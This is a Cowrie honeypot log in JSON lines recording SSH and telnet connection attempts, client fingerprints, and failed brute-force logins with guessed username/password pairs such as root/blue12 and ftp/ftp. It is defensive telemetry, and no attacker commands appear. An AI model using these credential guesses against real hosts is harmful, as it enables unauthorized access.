{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":42160,"dst_ip":"159.203.135.109","dst_port":23,"session":"389a7e469ed0","protocol":"telnet","message":"New connection: 137.184.5.188:42160 (159.203.135.109:23) [session: 389a7e469ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:35.268906Z"}
{"eventid":"cowrie.session.closed","duration":40.36561441421509,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:15.634302Z","src_ip":"137.184.5.188","session":"389a7e469ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":34266,"dst_ip":"10.17.0.5","dst_port":22,"session":"305453e09080","protocol":"ssh","message":"New connection: 162.214.5.224:34266 (10.17.0.5:22) [session: 305453e09080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:54.048650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:54.052934Z","src_ip":"162.214.5.224","session":"305453e09080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:54.143749Z","src_ip":"162.214.5.224","session":"305453e09080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tunisia","password":"Tunis#Ethereum#Cr@zy!","message":"login attempt [tunisia/Tunis#Ethereum#Cr@zy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:54.414875Z","src_ip":"162.214.5.224","session":"305453e09080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:55.801007Z","src_ip":"162.214.5.224","session":"305453e09080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":29586,"dst_ip":"159.203.135.109","dst_port":22,"session":"c259566659ed","protocol":"ssh","message":"New connection: 107.150.105.153:29586 (159.203.135.109:22) [session: c259566659ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:55.926983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:55.930967Z","src_ip":"107.150.105.153","session":"c259566659ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:56.022797Z","src_ip":"107.150.105.153","session":"c259566659ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12332!","message":"login attempt [deploy/12332!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:56.400931Z","src_ip":"107.150.105.153","session":"c259566659ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:55:57.491960Z","src_ip":"107.150.105.153","session":"c259566659ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40620,"dst_ip":"159.203.135.109","dst_port":22,"session":"e78f81895ab8","protocol":"ssh","message":"New connection: 77.94.47.83:40620 (159.203.135.109:22) [session: e78f81895ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:13.012244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:13.015894Z","src_ip":"77.94.47.83","session":"e78f81895ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:13.121729Z","src_ip":"77.94.47.83","session":"e78f81895ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blue12","message":"login attempt [root/blue12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:13.442149Z","src_ip":"77.94.47.83","session":"e78f81895ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:14.550108Z","src_ip":"77.94.47.83","session":"e78f81895ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":38394,"dst_ip":"10.17.0.5","dst_port":22,"session":"191272ef1dc5","protocol":"ssh","message":"New connection: 61.72.55.130:38394 (10.17.0.5:22) [session: 191272ef1dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:18.640335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:18.644731Z","src_ip":"61.72.55.130","session":"191272ef1dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:18.855306Z","src_ip":"61.72.55.130","session":"191272ef1dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"111111","message":"login attempt [es/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:19.696275Z","src_ip":"61.72.55.130","session":"191272ef1dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:20.902151Z","src_ip":"61.72.55.130","session":"191272ef1dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":50138,"dst_ip":"10.17.0.5","dst_port":22,"session":"83f78e658cb0","protocol":"ssh","message":"New connection: 199.192.25.149:50138 (10.17.0.5:22) [session: 83f78e658cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:40.033792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:40.036574Z","src_ip":"199.192.25.149","session":"83f78e658cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:40.101303Z","src_ip":"199.192.25.149","session":"83f78e658cb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"borrow2024","message":"login attempt [root/borrow2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:40.313413Z","src_ip":"199.192.25.149","session":"83f78e658cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:56:41.382218Z","src_ip":"199.192.25.149","session":"83f78e658cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":53106,"dst_ip":"10.17.0.5","dst_port":22,"session":"07ad013113a0","protocol":"ssh","message":"New connection: 91.92.40.176:53106 (10.17.0.5:22) [session: 07ad013113a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:04.266677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:04.270238Z","src_ip":"91.92.40.176","session":"07ad013113a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:04.355739Z","src_ip":"91.92.40.176","session":"07ad013113a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:04.600065Z","src_ip":"91.92.40.176","session":"07ad013113a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:05.683570Z","src_ip":"91.92.40.176","session":"07ad013113a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":58792,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5bb62b1d955","protocol":"ssh","message":"New connection: 161.97.75.11:58792 (10.17.0.5:22) [session: d5bb62b1d955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:33.605374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:33.607996Z","src_ip":"161.97.75.11","session":"d5bb62b1d955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:33.699242Z","src_ip":"161.97.75.11","session":"d5bb62b1d955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambersgroup","password":"ambers123","message":"login attempt [ambersgroup/ambers123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:33.975215Z","src_ip":"161.97.75.11","session":"d5bb62b1d955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:35.069453Z","src_ip":"161.97.75.11","session":"d5bb62b1d955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":34840,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ca41b3e9bce","protocol":"ssh","message":"New connection: 162.144.105.39:34840 (10.17.0.5:22) [session: 1ca41b3e9bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:40.667243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:40.670572Z","src_ip":"162.144.105.39","session":"1ca41b3e9bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:40.797774Z","src_ip":"162.144.105.39","session":"1ca41b3e9bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blofin","password":"blofin123","message":"login attempt [blofin/blofin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:41.160187Z","src_ip":"162.144.105.39","session":"1ca41b3e9bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:44.915437Z","src_ip":"162.144.105.39","session":"1ca41b3e9bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":23762,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0cb4895031","protocol":"ssh","message":"New connection: 107.150.105.153:23762 (159.203.135.109:22) [session: 8f0cb4895031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:48.869335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:48.873377Z","src_ip":"107.150.105.153","session":"8f0cb4895031","protocol":"ssh"}
